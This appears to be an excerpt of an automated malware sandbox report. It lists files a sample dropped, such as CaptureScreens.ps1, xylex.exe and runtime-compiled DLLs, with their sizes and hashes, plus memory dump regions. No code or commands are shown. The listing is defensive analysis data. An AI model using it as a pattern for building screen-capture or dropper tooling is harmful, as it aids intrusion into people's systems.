376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\9fa5b4e7a4747e4cc8f47bd239029fbc1FzePf\BackupInitialize.doc

Filesize
368KB

MD5
996f29e139cce52857617d8f83723133

SHA1
f57cdf22eeb2ce19baf2b5a4e08db75d4d0c7598

SHA256
62da023b08e7a446eed0118fe2f9891369bddf9d0b4607948759cd5c3a1d3756

SHA512
253b8dc5127cca58a07b645d44e5b090d490a9f340e8d94eb906f797ccfba6d13de70d490222cde8ed36999f46b994858a752a43e4f2ca7823d99d247c2c875b

Download Submit
C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1

Filesize
2KB

MD5
c9266fb0b95181d7e6af76655c54e833

SHA1
dbd4dfbb5c95551fdeaa5b2173c516c783950a23

SHA256
86db581696383911c67d8cb30b22b30521028817b4bce21a12a2c351e42afb62

SHA512
d2651cd30dbc524a3f1846b0bf2b146d6e11b7aefcf03cbfebe6a818e249417646e19cf0b7ed804f3e0b2424500ecb0f310179262f16a92a56d9aea1e02bdb5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESABD0.tmp

Filesize
1KB

MD5
1c26295a9e576806f381d2b670da1dd3

SHA1
5f3b520592dd13e1c5a94750f45f6c719ffcd112

SHA256
791a812fc1a80be812f29af016995679be534a49b23c0aec6c4bcdb913827f88

SHA512
7498d4e3e807dfd102f7bf9b7f3851d4f6369c517765f487901d6e3de8d37d9ff2b32396bf603694474ab4540e75550d5cd63a10d4769fb8564ed6ffd25d78c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESB41D.tmp

Filesize
1KB

MD5
0356d4f2004096a1cc8c0d9b5b4fdf3d

SHA1
6d6e92cb2b22607e5d4dac945cd0d0c49807f026

SHA256
3de8534afd70eda21373e97c226aea15c489eac3eecc8310ffe4ef0921782c0a

SHA512
5fff81f53bc99a9c0ce96c1f9c07a74ad406acd1a4b17f4748facf45eff032fe0ef9c97c4f1c06afb663b6e50e88a54e1a761f2c169457197b897ee467ce21c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jew14w5y.fx1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\kz3ftj2l\kz3ftj2l.dll

Filesize
3KB

MD5
c7aadeb38f57a71f86fa48a2d5879165

SHA1
994d15074ed3e5fb10e5bcf5b0281229a8a0ca8d

SHA256
8376e76ac29a61fa886fd08a6ca5c3fdc184ed7b0170a7c37ec1c37af63cdf77

SHA512
4965e6f6f8265c63a79ed3ba2b8c688d2938c337c266f2558256afe931f4f1cdd47ff7ff9d6af42437a6a1be8b3a01178097e88ee44d9099dad03bc2a280b38f

Download Submit
C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node

Filesize
1.8MB

MD5
66a65322c9d362a23cf3d3f7735d5430

SHA1
ed59f3e4b0b16b759b866ef7293d26a1512b952e

SHA256
f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c

SHA512
0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21

Download Submit
C:\Users\Admin\AppData\Local\Temp\scdvuv32\scdvuv32.dll

Filesize
3KB

MD5
6b21682794ed83fc0a79c6d6e74a1369

SHA1
eab467c5f3537a176af7f3d940a249b92b9ae719

SHA256
7b11107b182faae5b1b118dc0da02b3dab1ef5c796d8f5ea8d428eb1866a1684

SHA512
c43889b79a9773b7062b3189b0ac9456676aa452083c9578b1487a6cfc86fa6e0c68eb7a619c45d8136dcac6a7f7eb30f69f96671812f0e97a8554db82d106be

Download Submit
C:\Users\Admin\AppData\Local\Temp\temp.ps1

Filesize
379B

MD5
18047e197c6820559730d01035b2955a

SHA1
277179be54bba04c0863aebd496f53b129d47464

SHA256
348342fd00e113a58641b2c35dd6a8f2c1fb2f1b16d8dff9f77b05f29e229ef3

SHA512
1942acd6353310623561efb33d644ba45ab62c1ddfabb1a1b3b1dd93f7d03df0884e2f2fc927676dc3cd3b563d159e3043d2eff81708c556431be9baf4ccb877

Download Submit
C:\Users\Admin\AppData\Local\Temp\xylex.exe

Filesize
37.6MB

MD5
d640ad12d884e0cabdd50b7988fb0c90

SHA1
014a14d49a717d96d53d4951d98a8027d7e915d9

SHA256
b7c98c5a0bd23516393de77e0636400c29e77373affa47ce3cc2ed391aca80cf

SHA512
ccc086be76cc8ef6bc6c3721654db5e62306db7ac35749ba352ee0d053cc69ac466fe87e2b608f7cef05d0bb603c64ae861b474640538912e7b85799062f9798

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kz3ftj2l\CSC6EF234817C4244B387CE86C4260FED4.TMP

Filesize
652B

MD5
3fe9081d7e46e1f853f4c9807c92fe89

SHA1
f5e97c4f9619073c0d2a2c1d0cc185ddcc79de23

SHA256
1c03a978dbdbb263ac9037411474ca850a42146864df8f0beedc32f4eade858c

SHA512
93692d9edee9fd82b3737a54d0480a0f3d1a3f234494c876642fa98b44c4bd242a411e35fbfe4cc63f399ade3a325c0b02444e268ba46d8c01a6411c3eb7b6ea

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kz3ftj2l\kz3ftj2l.0.cs

Filesize
426B

MD5
b462a7b0998b386a2047c941506f7c1b

SHA1
61e8aa007164305a51fa2f1cebaf3f8e60a6a59f

SHA256
a81f86cd4d33ebbf2b725df6702b8f6b3c31627bf52eb1cadc1e40b1c0c2bb35

SHA512
eb41b838cc5726f4d1601d3c68d455203d3c23f17469b3c8cbdd552f479f14829856d699f310dec05fe7504a2ae511d0b7ffff6b66ceadb5a225efe3e2f3a020

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kz3ftj2l\kz3ftj2l.cmdline

Filesize
369B

MD5
286ad3d984765404e14a5fabae016e85

SHA1
d91d5ac7ab3a8898e28247d7246935f075e25503

SHA256
abae79dc9d000128b933755692e8922ccef8f2aac4db671ceba308dca2714fec

SHA512
dee4c2af9c25db5180f2aefd4734b0eda5713cea4f26b04db137cc0b7b8aee5b541e7719ba3f04545204bd78092f7487b282e1707b691ff3cb69429e8c3e52be

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\scdvuv32\CSCFCF916D250A347D68CC3585D321DD11D.TMP

Filesize
652B

MD5
c3bcecd66493028f30a52b7fcf43ad91

SHA1
149c2f1482cc7aede57c071cba58c8be332add5a

SHA256
9cd6828a43b6a7c6324e5748d2a1aba009cf165486162e0661374a4724e145b4

SHA512
69f7c17f3a0fe8a11ec6efc1ce6924f7df2c850ee7fb6b8659f0399d920f27491dde04aceb016327472c9c1b6f2c033e088de2491cc42d5bcdb863d6321730c0

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\scdvuv32\scdvuv32.0.cs

Filesize
311B

MD5
7bc8de6ac8041186ed68c07205656943

SHA1
673f31957ab1b6ad3dc769e86aedc7ed4b4e0a75

SHA256
36865e3bca9857e07b1137ada07318b9caaef9608256a6a6a7fd426ee03e1697

SHA512
0495839c79597e81d447672f8e85b03d0401f81c7b2011a830874c33812c54dab25b0f89a202bbb71abb4ffc7cb2c07cc37c008b132d4d5d796aebdd12741dba

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\scdvuv32\scdvuv32.cmdline

Filesize
369B

MD5
e69a60451ad75d5f064b5b57ef1ac53d

SHA1
e08639ee5029e45346ec10d08c498e49985c1478

SHA256
2c802c0d09267fbb6576949558fd390c296f7ef18bfa65eb1a06a62ee1803346

SHA512
b51d96c91943690a0bfc8ff9e51bb07f098829714a9abd9ebf05c08e3a3b8476e1930592afae09732d897999a4dc4cef597524290235502b089978677c1988a8

Download Submit
memory/1116-229-0x000001D35CD70000-0x000001D35CD78000-memory.dmp

Filesize
32KB

Download
memory/2200-137-0x000001E363030000-0x000001E363080000-memory.dmp

Filesize
320KB

Download
memory/2796-25-0x00007FFF197C0000-0x00007FFF1A281000-memory.dmp

Filesize
10.8MB

Download
memory/2796-0-0x00007FFF197C3000-0x00007FFF197C5000-memory.dmp

Filesize
8KB

Download
memory/2796-12-0x00007FFF197C0000-0x00007FFF1A281000-memory.dmp

Filesize
10.8MB

Download
memory/2796-11-0x00007FFF197C0000-0x00007FFF1A281000-memory.dmp

Filesize
10.8MB

Download
memory/2796-1-0x00000208FBC30000-0x00000208FBC52000-memory.dmp

Filesize
136KB

Download
memory/3624-110-0x0000024774C40000-0x0000024774CB6000-memory.dmp

Filesize
472KB

Download
memory/3624-109-0x0000024774810000-0x0000024774854000-memory.dmp

Filesize
272KB

Download
memory/3624-123-0x00000247747E0000-0x00000247747E8000-memory.dmp

Filesize
32KB

Download